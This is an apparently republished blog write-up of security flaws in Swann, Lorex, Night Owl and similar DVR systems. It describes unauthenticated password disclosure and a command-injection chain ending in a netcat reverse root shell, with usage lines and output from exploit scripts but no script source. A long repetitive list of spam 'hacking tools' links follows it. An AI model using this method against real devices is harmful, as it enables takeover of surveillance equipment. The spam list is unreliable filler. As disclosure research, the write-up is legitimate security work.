Swann Song - DVR Insecurity
"Swan song" is a metaphorical phrase for a final gesture, effort, or performance given just before death or retirement. This post serves as the "swan song" for a whole slew of DVR security systems. With that being said, I will refer to the lyrical master MC Hammer, lets turn this mutha' out.
I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)
This change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable "bootdcmd".
python getPass.py 192.168.10.69
[*]Host: 192.168.10.69
[+]Username: admin
[+]Password: 123456
Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:
"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)
Usage: sploit.py <target> <connectback host> <connectback port>
$ python sploit.py 192.168.10.69 192.168.10.66 9999
[*]Sending Stage 1
[*]Sending Stage 2
[*]Rebooting the server with crash....
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999
tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.
More info
- Wifi Hacker Tools For Windows
- World No 1 Hacker Software
- Hack Apps
- Pentest Tools Android
- Kik Hack Tools
- Pentest Tools Review
- How To Install Pentest Tools In Ubuntu
- Hacking Tools Online
- Hacking Apps
- Hacking Tools For Mac
- Hacking Tools 2020
- Hackers Toolbox
- Usb Pentest Tools
- Tools Used For Hacking
- Hacking Tools Hardware
- Hack Rom Tools
- Hacker
- Hacking Tools Online
- Pentest Tools Github
- New Hack Tools
- New Hacker Tools
- Hacker Tools 2020
- Install Pentest Tools Ubuntu
- Hack Rom Tools
- Pentest Tools Apk
- Hacking Tools For Pc
- Hacker Tools Linux
- Pentest Tools Github
- Hacker Tools Hardware
- Best Pentesting Tools 2018
- Growth Hacker Tools
- Pentest Tools Android
- Hackers Toolbox
- Hacking Tools
- Hack Tools For Ubuntu
- Pentest Tools Open Source
- Hack Tools Download
- Wifi Hacker Tools For Windows
- Hacker Tools For Windows
- Hacking Tools Online
- Hacking Tools Github
- Hack Tool Apk
- Hacking Tools Free Download
- Pentest Tools Find Subdomains
- Pentest Tools Alternative
- Hak5 Tools
- Hack Tools Online
- Hacking Tools
- Pentest Tools For Android
- Pentest Tools Tcp Port Scanner
- Beginner Hacker Tools
- Pentest Tools Bluekeep
- Hacking Tools Free Download
- Hacking Tools Online
- What Are Hacking Tools
- Bluetooth Hacking Tools Kali
- Hacks And Tools
- Hack Rom Tools
- Hacker Tools For Ios
- Hack App
- Pentest Tools Kali Linux
- Top Pentest Tools
- Hacking Tools Name
- Pentest Tools For Android
- Easy Hack Tools
- Android Hack Tools Github
- Hacking Tools For Windows Free Download
- Pentest Tools Kali Linux
- Computer Hacker
- Hackrf Tools
- How To Hack
- Bluetooth Hacking Tools Kali
- Best Hacking Tools 2020
- Hack Tools Mac
- Pentest Tools For Windows
- Pentest Tools Free
- Pentest Tools Linux
- Hacking Tools For Pc
- Growth Hacker Tools
- Hack Tool Apk No Root
- Pentest Tools Port Scanner
- Hacking Tools For Windows 7
- Free Pentest Tools For Windows
- Hack Tools
- Pentest Tools List
- Hacking Tools For Windows
- Pentest Tools For Android
- Pentest Tools Free
- Pentest Automation Tools
- Hacking Tools For Pc
- Hacking Tools For Windows 7
- Black Hat Hacker Tools
- Hacking Tools Usb
- Pentest Tools Online
- Hacker Tools
- Hack Tools 2019
- Pentest Tools Online
- Hacker
- Hacking Tools 2020
- Best Pentesting Tools 2018
- Hack Tool Apk
- Hacker Tools Free
- Pentest Tools Free
- Github Hacking Tools
- Pentest Tools Windows
- Pentest Automation Tools
- Pentest Tools Port Scanner
- Hacking Tools For Mac
- Hacker Security Tools
- Black Hat Hacker Tools
- Hacker Tools Linux
- Hacker Tools For Ios
- Pentest Tools Kali Linux
- Hacker Tools For Ios
- What Is Hacking Tools
- Physical Pentest Tools
- Install Pentest Tools Ubuntu
- Best Hacking Tools 2020
- Pentest Tools Url Fuzzer
- Hack Tools For Games
- Wifi Hacker Tools For Windows
- Hacking Tools For Mac
- Hacking Tools Mac
- Ethical Hacker Tools
- Beginner Hacker Tools
- Hacking Tools For Kali Linux
- Pentest Tools Android
- Termux Hacking Tools 2019
- Hacker Tools Apk Download
- Hacking Tools Windows
- Usb Pentest Tools
- Hack Tools Pc
- Hacker Tools Linux
- Hacking Tools Download
- Pentest Tools Website
- Computer Hacker
- Pentest Tools Linux
- Bluetooth Hacking Tools Kali
- Hack Tools For Windows
- Pentest Recon Tools
- Hack Rom Tools
- Computer Hacker
- Hacker Tools 2019
- Hacker Tools Github
- Github Hacking Tools
- Underground Hacker Sites
- Best Hacking Tools 2020
- Pentest Tools Open Source
- Android Hack Tools Github
- Hacking Tools For Mac
- Hacking Tools Software
- Hacker Tools Github
- Hacker Security Tools
- Pentest Tools Tcp Port Scanner
- Hack App
- Hacks And Tools
- Hacking Tools For Pc
0 Comments:
Post a Comment
<< Home